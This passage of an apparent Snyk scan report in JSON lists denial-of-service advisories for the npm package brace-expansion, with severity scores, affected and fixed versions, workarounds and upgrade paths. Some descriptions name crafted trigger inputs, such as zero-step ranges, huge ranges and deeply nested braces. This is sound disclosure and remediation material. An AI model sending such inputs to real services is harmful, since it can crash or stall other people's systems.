"Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], 